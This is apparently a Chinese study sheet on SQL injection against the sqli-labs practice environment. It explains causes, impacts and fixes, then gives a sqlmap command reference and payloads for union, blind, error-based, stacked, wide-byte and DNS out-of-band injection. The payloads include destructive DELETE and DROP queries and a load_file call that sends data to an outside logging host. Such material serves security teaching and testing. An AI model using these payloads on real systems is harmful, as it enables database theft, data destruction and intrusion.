原因和影响
原因:
- SQL注入是一种Web应用代码中的漏洞。
- 黑客可以构造特殊请求,使Web应用执行带有附加条件的SQL语句
- 用户请求中带有参数的值,没有进行任何过滤
- 用户请求中带有参数的值,没有进行任何转码
- 通过特殊的请求,Web应用向数据库访问时会附带其它命令:
任意查询命令
创建数据库/表
更新数据库/表内容
更改用户权限
删除数据/表/数据库
执行系统命令
影响:
- 可读取/修改数据库中的库和表
- 获取用户的账号,密码(可能被加密过),邮箱,联系方式
- 信用卡信息
- 修改产品价格
- 删除数据
- 可执行系统命令
- 修改权限,获取系统管理员权限
- 修改任意文件
- 安装后门
原理
所谓SQL
注入,是指
web
应用程序对用户输入数据的合理性没有明确判断
,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询具体来说,它是利用现有应用程序,将SQL
语句注入到后台数据库引擎执行的能力,它可以通过在Web
表单中输入
SQL语句得到一个存在安全漏洞的网站上的数据,而不是按照设计者意图去执行SQL语句。

修复
- 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
- 对进入数据库的特殊字符(’"\尖括号&*;等)进行转义处理,或编码转换。
- 严格限制变量类型,比如整型变量就采用intval()函数过滤,数据库中的存储字段必须对应为int型。
- 数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
- 网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
- 严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
- 避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
- 在网站发布之前建议使用一些专业的SQL注入检测工具进行检测,及时修补这些SQL注入漏洞。
工具(sqlmap)
常用命令:
-u
指定目标
URL (
可以是
http
协议也可以是
https
协议
)
-d
连接数据库
--dbs
列出所有的数据库
--current-db
列出当前数据库
--tables
列出当前的表
--columns
列出当前的列
-D
选择使用哪个数据库
-T
选择使用哪个表
-C
选择使用哪个列
--dump
获取字段中的数据
--batch
自动选择
yes
--smart
启发式快速判断,节约浪费时间
--forms
尝试使用
post
注入
-r
加载文件中的
HTTP
请求(本地保存的请求包
txt
文件)
-l
加载文件中的
HTTP
请求(本地保存的请求包日志文件)
-g
自动获取
Google
搜索的前一百个结果,对有
GET
参数的
URL
测试
-o
开启所有默认性能优化
--tamper
调用脚本进行注入
其他命令:
-v
指定
sqlmap
的回显等级
--delay
设置多久访问一次
--os-shell
获取主机
shell
,一般不太好用,因为没权限
--os-cmd
执行命令
-m
批量操作
-c
指定配置文件,会按照该配置文件执行动作
-data data
指定的数据会当做
post
数据提交
-timeout
设定超时时间
-level
设置注入探测等级
--risk
风险等级
--identify-waf
检测防火墙类型
--param-del="
分割符
"
设置参数的分割符
--skip-urlencode
不进行
url
编码
--keep-alive
设置持久连接,加快探测速度
--null-connection
检索没有
body
响应的内容,多用于盲注
--thread
最大为
10
设置多线程
举例:
Get
请求
sqlmap -u
http://127.0.0.1/sqli-labs-master/Less-1/?id=1
Post
请求
sqlmap -r "1.txt"
获取当前数据库名称
sqlmap -u "
http://127.0.0.1/sqli-labs-master/Less-1/?id=1
" --current-db
获取指定数据库的表名
sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables
获取指定数据库指定表中的字段
sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users --columns
获取指定数据库指定表的指定字段的字段内容
sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C password --dump
Header
注入
sqlmap 在对
user-agent
注入的时候,得在文件中的
user-agent
的参数后面加上
*
或者
-level 3
Cookie
注入
sqlmap -u "
http://127.0.0.1/sqli-labs-master/Less-20/index.php
" --cookie
"pma_lang=zh_CN;pma_mcrypt_iv=AoXpKxU5KcY%3D;pmaUser-
1=7%2FwV%2BDOfbmI%3D;uname=admin;" --level 2
sqlmap -r ["
请求头文本
"] //
测试是否存在注入
sqlmap -r ["
请求头文本
"] --current-db //
查询当前数据库
sqlmap -r ["
请求头文本
"] -D ["
数据库名
"] --tables //
查询当前数据库的所有表
sqlmap -r ["
请求头文本
"] -D ["
数据库名
"] -T ["
表名
"] --columns //
查询指定库指定表的所有列
sqlmap -r ["
请求头文本
"] -D ["
数据库名
"] -T ["
表名
"] -C ["
列名
"] --dump //
打印出指定库指定表指定列的所有字段内容
种类
union(联合)注入
http://sqli:8081/Less-1/?id=1
' order by 4 --+
SELECT * FROM users WHERE id='1' order by 4 --+' LIMIT 0,1
输入
3
再去判断
使用二分法进行判断字段数
SELECT * FROM users WHERE id='1' order by 3 --+' LIMIT 0,1
把
id
值改为负数 使
where
后面条件不成立 进而执行
select
语句
http://sqli:8081/Less-1/?id=-1
' #
数据库信息
union select 1,2,3 --+
http://sqli:8081/Less-1/?id=-1
' union select 1,database(),version() --+
获取数据库名称后 利用
information_schema
获取表名
http://sqli:8081/Less-1/?id=-1
' union select 1,(select table_name from information_schema.tables
where table_schema='security' limit 0,1),3 --+
获取第二个表名
http://sqli:8081/Less-1/?id=-1
' union select 1,(select table_name from information_schema.tables
where table_schema='security' limit 1,1),3 --+
知道了库名,表名,字段名 就可以构造
SQL
语句进行查询数据了
http://sqli:8081/Less-1/?id=-1
'union select 1,(select email_id from security.emails limit 0,1),3 --+
Boolean注入
like 'ro%' #
判断
ro
或
ro...
是否成立
regexp '^x[a-z]' #
匹配
xiaodi
及
xiaodi...
等
if(
条件
,5,0) #
条件成立 返回
5
反之 返回
0
sleep(5) #SQL
语句延时执行
5
秒
mid(abc,b,2) #
从位置
b
开始,截取
a
字符串的
c
位
substr(a,b,c) #
从
b
位置开始,截取字符串
a
的
c
长度
left(database(),1)
,
#left(a,b)
从左侧截取
a
的前
b
位
length(database())=8 #
判断数据库
database()
名的长度
ord=ascii(x)=97 #
判断
x
的
ascii
码是否等于
97
基于布尔的
SQL
盲注
-
逻辑判断
regexp,like,ascii,left,ord,mid
基于时间的
SQL
盲注
-
延时判断
if,sleep
基于报错的
SQL
盲注
-
报错回显
floor
,
updatexml
,
extractvalue
insert
插入数据
在网站应用中进行用户注册添加等操作
1' and UpdateXML(1,concat('~',database()),1))#
delete
删除数据
后台管理里面删除文章删除用户等操作
1 or updatexml(2,concat(0x7e,(database())),0x7e)--+
update
更新数据
会员或后台中心数据同步或缓存等操作
1' or updatexml(2,concat(0x7e,(database())),0x7e)#
延迟盲注
//
判断是否存在延迟注入
http://sqli:8081/Less-5/?id=1
' and sleep(5)--+
//
延迟注入 判断长度是否为
8
http://sqli:8081/Less-5/?id=1
' and if(length(database())=8,sleep(5),1)--+
//
使用时间盲注判断库名是否为
s
http://sqli:8081/Less-5/?id=1
' and if(left(database(),1)='s',sleep(5),1)--+
报错注入
extractvalue
函数
- 函数原型:extractvalue(xml_document,Xpath_string)
- 正常语法:extractvalue(xml_document,Xpath_string);
- 第一个参数:xml_document是string格式,为xml文档对象的名称
- 第二个参数:Xpath_string是xpath格式的字符串
- 作用:从目标xml中返回包含所查询值的字符串
- payload:id='and(select extractvalue("anything",concat('~',(select语句))))
- id='and(select extractvalue(1,concat('~',(select database()))))
- id='and(select extractvalue(1,concat(0x7e,@@version)))
- 查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
- 爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
- 爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
- 爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
堆叠注入
堆叠注入:从名词的含义就可以看到应该是一堆
sql
语句(多条)一起执行在 SQL
中,分号(;)是用来表示一条
sql
语句的结束。试想一下我们在
;
结束一个
sql
语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 union injection
(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于
union
或者
union all
执行的语句类
型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
用户输入:
1; DELETE FROM products
服务器端生成的
sql
语句为:(因未对输入的参数进行过滤)
Select * from products where productid=1;DELETE FROM products
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到
API
或者数据库引擎 不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
新建一个表
select * from student where id=1;create table test like users;
删除上面新建的
test
表
select * from users where id=1;drop table test;
插入用户
http://sqli:8081/Less-38/?id=1
';insert into users(id,username,password) values ('38','less38','hello')--+
header注入
cookie
注入

xff
注入

agent
注入

base64
注入(
1'union select 1,2,3# MSd1bmlvbiBzZWxlY3QgMSwyLDMj
)
JSON注入
数据格式:数据在名称
/
值对中,数据由逗号分隔,大括号保存对象,中括号保存数组。
例:
http://127.0.0.1/json.php
json={"username":"root"}
json={"username":"root ' and 1=2 union select 1,user()#"}

二次注入
简介:
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL
查询语句所导致的注入。防御者可能在用 户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web
程序调用存储在数据库中的恶意数据并执行SQL
查询时,就发生了
SQL
二次注入。
操作步骤:
- 第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
- 第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
原理示意图:

宽字节注入
宽字节的注入条件:
- 数据库编码设置成GBK系列。
- 使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符
用转义符
\
进行转义。
URL
转码:
空格 %20
' %27
\ %5C
转换过程:
1%df' or 1 通过
php
转码
mysql
转码 得到一个汉字
'
从而达到过滤的效果
%df' =====>php(check_addsiashes) ======>%df%5C%27 ======>MySQL(GBK) ======> 運
'
1%df' union select user(),database()#
dnslog注入
简介:
dnslog注入也可以称之为
dns
带外查询,是一种注入姿势,可以通过查询相应的
dns
解析记录,来获取我们想要的数据。
特点:
dns带外查询属于
MySQL
注入,在
MySQL
中有个系统属性。
secure_file_priv特性,有三种状态:
1. secure_file_priv为
null
表示不允许导入导出
2. secure_file_priv指定文件夹时,表示
mysql
的导入导出只能发生在指定的文件夹
3. secure_file_priv没有设置时,则表示没有任何限制
函数:
LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
语法为:load_file(file_name)
,其中
file_name
是文件的完整路径。
例子:
select load_file('\\requests.mvkn4u.ceye.io\abc');
payload:
http://127.0.0.1/sqli/Less-2/?id=-1
and if((select load_file(concat('\\',(select
database()),'.mvkn4u.ceye.io\abc'))),1,0)--+